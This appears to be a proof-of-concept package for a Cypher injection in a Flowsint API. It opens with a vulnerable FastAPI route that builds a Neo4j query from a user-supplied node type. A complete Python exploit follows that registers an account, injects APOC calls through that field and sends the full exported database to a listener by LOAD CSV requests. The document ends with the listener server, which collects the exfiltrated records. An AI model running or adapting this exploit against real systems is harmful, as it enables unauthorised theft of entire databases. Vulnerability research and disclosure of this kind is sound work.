@router.post("/{sketch_id}/nodes/add")
@update_sketch_timestamp
def add_node(
    sketch_id: str,
    node: NodeInput,
    background_tasks: BackgroundTasks,
    db: Session = Depends(get_db),
    current_user: Profile = Depends(get_current_user),
):
    sketch = db.query(Sketch).filter(Sketch.id == sketch_id).first()
    if not sketch:
        raise HTTPException(status_code=404, detail="Sketch not found")
    check_investigation_permission(
        current_user.id, sketch.investigation_id, actions=["update"], db=db
    )

    node_data = node.data.model_dump()

    node_type = node_data["type"]

# <--SNIP-->

    create_query = f"""
        MERGE (d:`{node_type}` {{ {cypher_props} }})
        ON CREATE SET d.created_at = $created_at
        RETURN d as node, elementId(d) as id
    """

    try:
        create_result = neo4j_connection.query(create_query, properties_with_timestamp)
    except Exception as e:
        print(f"Query execution error: {e}")
        raise HTTPException(status_code=500, detail=f"Database error: {str(e)}")

# <--SNIP-->

    try:
        new_node = create_result[0]["node"]
        new_node["id"] = create_result[0]["id"]
    except (IndexError, KeyError) as e:
        print(f"Error extracting node_id: {e}, result: {create_result}")
        raise HTTPException(
            status_code=500, detail="Failed to extract node data from response"
        )

    new_node["data"] = node_data
    new_node["data"]["id"] = new_node["id"]

    return {
        "status": "node added",
        "node": new_node,
    }

#!/venv/bin/python3

import argparse
import random
import string

import requests

# Made by sealldev

def random_string(length: int):
    """
    Generate a random string of letters and numbers of a specified length.
    """
    return "".join(random.choices(string.ascii_letters + string.digits, k=length))


class CypherInjectionViaNodeCreation:
    """
    A generalised class to manage the web sessions and values for the exploit.
    """

    def __init__(self):
        self.username = random_string(20)
        self.password = random_string(20)
        self.email = f"{random_string(10)}@{random_string(10)}.com".lower()
        self.session = requests.Session()
        self.listener_ip = "localhost"
        self.listener_port = 443
        self.remote_ip = "localhost"
        self.remote_port = 5001
        self.insecure = False
        self.listener_insecure = False
        self.url = ""
        self.headers = {}
        self.payload = ""
        self.verbose = False

    def exploit(self):
        """
        Execute the exploit.
        """
        self.register_user()
        self.get_token()
        investigation_id = self.create_investigation()
        sketch_id = self.create_sketch(investigation_id)
        # Test working injection of cypher query
        self.payload = self.craft_current_user_payload()
        print('[+] Set payload to retrieve current user to test exploitability')
        current_user_response = self.create_node(sketch_id)
        if not current_user_response.status_code == 200:
            raise ValueError(
                f"[x] Expected status code 200 on exploit, recieved {current_user_response.status_code}"
            )
        current_user_json = current_user_response.json()
        if not current_user_json:
            raise ValueError(
                f"[x] Expected valid JSON response, recieved invalid JSON.\n\n{current_user_response.content}"
            )
        current_user_query_value = current_user_json.get('node', None).get('query', None)
        if not current_user_query_value or not current_user_query_value == 'neo4j':
            raise ValueError(
                f"[x] Expected a current user 'neo4j' but recieved {current_user_query_value}"
            )
        print(f"[+] Retrieved '{current_user_query_value}' from inserted 'query' parameter! Continuing with exploitation...")
        # Start exfiltration
        self.payload = self.craft_start_exfiltration_notifier_payload()
        print('[+] Set payload to notify start of database exfiltration')
        start_exfil_response = self.create_node(sketch_id)
        if not start_exfil_response.status_code == 200:
            raise ValueError(
                f"[x] Expected status code 200 on exploit, recieved {start_exfil_response.status_code}"
            )
        start_exfil_json = start_exfil_response.json()
        if not start_exfil_json:
            raise ValueError(
                f"[x] Expected valid JSON response, recieved invalid JSON.\n\n{start_exfil_response.content}"
            )
        if self.verbose:
            print(f'  - query value: {start_exfil_json.get('node', None).get('query', None)}')
        expected_blocks = start_exfil_json.get('node', None).get('query', None)
        if not expected_blocks or not isinstance(expected_blocks, int):
            raise ValueError(
                f"[x] Expected the expected blocks in 'query' to exist and be numerical, received {expected_blocks}"
            )
        print(f"[+] Starting exfiltration! The server is expecting {expected_blocks} database entries")
        # Exfiltrate database
        self.payload = self.craft_exfiltration_payload()
        print('[+] Set payload to exfiltrate database')
        print('[+] Beginning exfiltration, please wait...')
        exfil_response = self.create_node(sketch_id)
        
        if not exfil_response.status_code == 500:
            raise ValueError(
                f"[x] Expected status code 500 on exploit, recieved {exfil_response.status_code}"
            )
        exfil_json = exfil_response.json()
        if not exfil_json:
            raise ValueError(
                f"[x] Expected valid JSON response, recieved invalid JSON.\n\n{exfil_response.content}"
            )
        if not 'Server returned HTTP response code: 418 for URL' in exfil_json.get('detail', None):
            raise ValueError(
                f"[x] Expected 418 response code from listener, recieved invalid response.\n\n{exfil_response.content}"
            )
        print("[+] Exfiltration concluded, sending end notifier...")
        # End exfiltration
        self.payload = self.craft_end_exfiltration_notifier_payload()
        print('[+] Set payload to notify end of database exfiltration')
        end_exfil_response = self.create_node(sketch_id)
        if not end_exfil_response.status_code == 200:
            raise ValueError(
                f"[x] Expected status code 200 on exploit, recieved {end_exfil_response.status_code}"
            )
        end_exfil_json = end_exfil_response.json()
        if not end_exfil_json:
            raise ValueError(
                f"[x] Expected valid JSON response, recieved invalid JSON.\n\n{end_exfil_response.content}"
            )
        server_message = end_exfil_json.get('node', None).get('query', None)[0]
        if not server_message or not 'SUCCESS' in server_message:
            raise ValueError(
                f"[x] Expected success message in 'query', received {server_message}"
            )
        print(f"[+] Server says: {server_message}")
        print("[+] Exploitation finished! Close the server and read 'db.json' for results!")

    def register_user(self):
        """
        Register a user on the /api/auth/register endpoint with randomly generated values.
        """
        json_payload = {
            "username": self.username,
            "email": self.email,
            "password": self.password,
        }
        res = self.session.post(
            f"{self.url}/api/auth/register",
            json=json_payload,
            verify=(not self.insecure),
        )
        if not res.status_code == 201:
            raise ValueError(
                f"[x] Expecting status code 201, recieved {res.status_code}"
            )
        res_data = res.json()
        message = res_data.get("message", "")
        if not message == "User registered successfully":
            raise ValueError(
                f'[x] Expected successful registration message, recieved "{message}".'
            )
        print("[+] User successfully registered!")
        if self.verbose:
            print(f"  - Username: {self.username}")
            print(f"  - Email: {self.email}")
            print(f"  - Password: {self.password}")
        return

    def get_token(self):
        """
        With a valid user's credentials, get a token for a user.
        """
        payload = {"username": self.email, "password": self.password}
        res = self.session.post(f"{self.url}/api/auth/token", data=payload)
        res_data = res.json()
        access_token = res_data.get("access_token", False)
        if not access_token:
            raise ValueError(
                f"[x] Exploitation failed, access token was not found in response.\n  - {res_data}"
            )
        self.headers = {"Authorization": f"Bearer {access_token}"}
        print("[+] Got access token!")
        if self.verbose:
            print(f"  - {access_token}...")
        return

    def create_investigation(self):
        """
        Create an investigation project, to then create a sketch within in 'create_sketch()'.
        """
        json_payload = {"name": random_string(20), "description": random_string(20)}
        res = self.session.post(
            f"{self.url}/api/investigations/create",
            json=json_payload,
            headers=self.headers,
        )
        res_data = res.json()
        investigation_id = res_data.get("id", False)
        if not investigation_id:
            raise ValueError(
                f"[x] Exploitation failed, investigation id was not found in response.\n  - {res_data}"
            )
        print('[+] Created an investigation "' + json_payload["name"] + '"')
        if self.verbose:
            print(f"  - Investigation ID: {investigation_id}")
        return investigation_id

    def create_sketch(self, investigation_id):
        """
        Create a sketch to execute the vulnerability within.
        """
        json_payload = {
            "title": random_string(20),
            "description": random_string(20),
            "investigation_id": investigation_id,
        }
        res = self.session.post(
            f"{self.url}/api/sketches/create", json=json_payload, headers=self.headers
        )
        res_data = res.json()
        sketch_id = res_data.get("id", False)
        if not sketch_id:
            raise ValueError(
                f"[x] Exploitation failed, sketch id was not found in response.\n  - Response: {res.content}\n  - Payload: {json_payload}"
            )
        print('[+] Created an sketch "' + json_payload["title"] + '"')
        if self.verbose:
            print(f"  - Sketch ID: {sketch_id}")
        return sketch_id

    def create_node(self, sketch_id):
        """
        Create a node on the sketch with a Cypher Injection payload in the type.
        """
        json_payload = {
            "type": "custom",
            "label": "cypher injection",
            "data": {
                "name": "cypher injection",
                "label": "cypher injection",
                "type": self.payload,
            },
        }
        res = self.session.post(
            f"{self.url}/api/sketches/{sketch_id}/nodes/add",
            json=json_payload,
            headers=self.headers,
        )
        print("[+] Created node on the sketch")
        return res
    
    def get_node(self, sketch_id, node_id):
        """
        Get a node on the sketch.
        """
        res = self.session.get(
            f"{self.url}/api/sketches/{sketch_id}/nodes/{node_id}",
            headers=self.headers,
        )
        if not res.status_code == 200:
            raise ValueError(
                f"[x] Expected status code 200 on exploit, recieved {res.status_code}"
            )
        print("[+] Got node content on the sketch")
        return res

    def craft_query_wrapper(self, query):
        """
        This single-query wrapper is used to wrap all future queries automatically.
        """
        return 'phrase`) ON MATCH SET d.query = apoc.cypher.runFirstColumnSingle("'+query+'", {}) //'
    def craft_current_user_payload(self):
        """
        Craft a payload to use apoc to retrieve the current user
        """
        return self.craft_query_wrapper("CALL dbms.showCurrentUser()")   
    def craft_export_database_payload(self):
        """
        Craft a payload to store the database as JSON to a file in the docker volume.
        """
        return self.craft_query_wrapper("CALL apoc.export.json.all('file:///db.json')")
    def craft_start_exfiltration_notifier_payload(self):
        """
        Craft a start request to send to the listener server. 
        This is to notify the beginning of exfiltration of the database.
        """
        return self.craft_query_wrapper(f"CALL apoc.load.json('file:///db.json') YIELD value WITH count(*) AS total LOAD CSV FROM '{'http' if self.listener_insecure else 'https'}://{self.listener_ip}:{self.listener_port}/start?count=' + toString(total) AS line RETURN total")
    def craft_exfiltration_payload(self):
        """
        Craft a request to send the databse to the listener server. 
        """
        return self.craft_query_wrapper(f"CALL apoc.load.json('file:///db.json') YIELD value WITH apoc.text.urlencode(apoc.convert.toJson(value)) AS entry LOAD CSV FROM '{'http' if self.listener_insecure else 'https'}://{self.listener_ip}:{self.listener_port}/exfil?data=' + entry AS line RETURN count(*) AS requestsSent")
    def craft_end_exfiltration_notifier_payload(self):
        """
        Craft a end request to send to the listener server. 
        This is to notify the end of exfiltration of the database.
        """
        return self.craft_query_wrapper(f"LOAD CSV FROM '{'http' if self.listener_insecure else 'https'}://{self.listener_ip}:{self.listener_port}/end' AS line RETURN line")


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "-lp",
        "--listener-port",
        help="The port to listen on for the initial reverse shell into the docker container (Default: 443).",
        default=443,
    )
    parser.add_argument(
        "-li",
        "--listener-ip",
        help="The IP of the listener for the reverse shell (Default: localhost).",
        default="localhost",
    )
    parser.add_argument(
        "-rp",
        "--remote-port",
        help="The port for the remote Flowsint API (Default: 5001).",
        default=5001,
    )
    parser.add_argument(
        "-ri",
        "--remote-ip",
        help="The IP for the remote Flowsint API (Default: localhost).",
        default="localhost",
    )
    parser.add_argument(
        "-v",
        "--verbose",
        help="Enable verbosity in logging for extra detail when debugging (Default: False).",
        action="store_true",
    )
    parser.add_argument(
        "-k",
        "--insecure",
        help="Utilise HTTP for a connection to the website (Default: False).",
        action="store_true",
    )
    parser.add_argument(
        "-lk",
        "--listener-insecure",
        help="Utilise HTTP for a connection to the listener server (Default: False).",
        action="store_true",
    )
    args = parser.parse_args()

    exploit = CypherInjectionViaNodeCreation()
    if args.listener_port:
        exploit.listener_port = args.listener_port
    if args.listener_ip:
        exploit.listener_ip = args.listener_ip
    if args.remote_port:
        exploit.remote_port = args.remote_port
    if args.remote_ip:
        exploit.remote_ip = args.remote_ip
    if args.insecure:
        exploit.insecure = args.insecure
    if args.listener_insecure:
        exploit.insecure = args.listener_insecure
    if args.verbose:
        exploit.verbose = args.verbose
    exploit.insecure = args.insecure
    exploit.url = (
        f"{'http' if args.insecure else 'https'}://{args.remote_ip}:{args.remote_port}"
    )
    exploit.exploit()

#!/usr/bin/env python3

import http.server
import socketserver
from http import HTTPStatus
import urllib.parse
import json
import threading

# Made by sealldev

class ExfilHandler(http.server.BaseHTTPRequestHandler):
    """
    Handler for exfiltration on the web server
    """
    expected_count = 0
    received_blocks = []
    received_hashes = set()
    server_instance = None

    def do_GET(self):
        """
        Handle all GET requests
        """
        parsed_url = urllib.parse.urlparse(self.path)
        path = parsed_url.path
        query_params = urllib.parse.parse_qs(parsed_url.query)

        if path == '/start':
            self.handle_start(query_params)
        elif path == '/exfil':
            self.handle_exfil(query_params)
        elif path == '/end':
            self.handle_end()
        else:
            self.send_csv_response()

    def handle_start(self, query_params):
        """Handle /start?count=<num> endpoint"""
        if 'count' not in query_params:
            self.send_error(HTTPStatus.BAD_REQUEST, "Missing 'count' parameter")
            return
        try:
            count = int(query_params['count'][0])
            ExfilHandler.expected_count = count
            ExfilHandler.received_blocks = []
            ExfilHandler.received_hashes = set()
            with open('db.json', 'w') as f:
                pass
            print(f"[START] Expecting {count} unique blocks")
            self.send_response(HTTPStatus.OK)
            self.send_header('Content-Type', 'text/plain')
            self.end_headers()
            self.wfile.write(f"Ready to receive {count} unique blocks".encode('utf-8'))
        except (ValueError, IndexError):
            self.send_error(HTTPStatus.BAD_REQUEST, "Invalid 'count' parameter")

    def handle_exfil(self, query_params):
        """Handle /exfil?data=<urlencoded_json> endpoint"""
        if 'data' not in query_params:
            self.send_error(HTTPStatus.BAD_REQUEST, "Missing 'data' parameter")
            return
        try:
            url_encoded_data = query_params['data'][0]
            decoded_data = urllib.parse.unquote(url_encoded_data)
            json_data = json.loads(decoded_data)
            data_hash = json.dumps(json_data, sort_keys=True)
            is_duplicate = data_hash in ExfilHandler.received_hashes
            if not is_duplicate:
                ExfilHandler.received_hashes.add(data_hash)
                ExfilHandler.received_blocks.append(json_data)
                with open('db.json', 'a') as f:
                    f.write(json.dumps(json_data, separators=(',', ':')) + '\n')
            unique_count = len(ExfilHandler.received_blocks)
            if is_duplicate:
                print(f"[EXFIL] Duplicate block ignored - {unique_count}/{ExfilHandler.expected_count} unique blocks")
            else:
                print(f"[EXFIL] Received unique block {unique_count}/{ExfilHandler.expected_count}")
            if unique_count >= ExfilHandler.expected_count:
                self.send_response(418)  # I'm a teapot - easy to identify for exploit
                self.send_header('Content-Type', 'text/plain')
                self.end_headers()
                self.wfile.write(f"Unique block {unique_count} received - limit reached".encode('utf-8'))
            else:
                self.send_response(HTTPStatus.OK)
                self.send_header('Content-Type', 'text/plain')
                self.end_headers()
                if is_duplicate:
                    self.wfile.write(f"Duplicate block ignored - {unique_count}/{ExfilHandler.expected_count} unique".encode('utf-8'))
                else:
                    self.wfile.write(f"Unique block {unique_count} received".encode('utf-8'))
        except json.JSONDecodeError as e:
            self.send_error(HTTPStatus.BAD_REQUEST, f"Invalid JSON: {str(e)}")
        except Exception as e:
            self.send_error(HTTPStatus.INTERNAL_SERVER_ERROR, str(e))

    def handle_end(self):
        """Handle /end endpoint"""
        received_count = len(ExfilHandler.received_blocks)
        expected = ExfilHandler.expected_count
        if received_count == expected:
            message = f"SUCCESS: Exfiltrated {received_count}/{expected} unique blocks"
            print(f"[END] {message}")
            self.send_response(HTTPStatus.OK)
            self.send_header('Content-Type', 'text/plain')
            self.end_headers()
            self.wfile.write(message.encode('utf-8'))
        else:
            message = f"FAILURE: Received {received_count}/{expected} unique blocks"
            print(f"[END] {message}")
            self.send_response(HTTPStatus.BAD_REQUEST)
            self.send_header('Content-Type', 'text/plain')
            self.end_headers()
            self.wfile.write(message.encode('utf-8'))

    def send_csv_response(self):
        """
        Send generic CSV data to allow neo4j to respond successfully
        """
        csv_data = "id,name,value\n1,Sample Item,100\n2,Another Item,200\n3,Third Item,300\n"
        self.send_response(HTTPStatus.OK)
        self.send_header('Content-Type', 'text/csv')
        self.send_header('Content-Length', str(len(csv_data)))
        self.end_headers()
        self.wfile.write(csv_data.encode('utf-8'))

if __name__ == "__main__":
    PORT = 80
    with socketserver.TCPServer(("", PORT), ExfilHandler) as httpd:
        ExfilHandler.server_instance = httpd
        print(f"Server running on port {PORT}")
        print("Press Ctrl+C to stop the server")
        try:
            httpd.serve_forever()
        except KeyboardInterrupt:
            print("\nServer stopped")
        threading.Thread(target=ExfilHandler.server_instance.shutdown).start()
        print("Server has been shut down")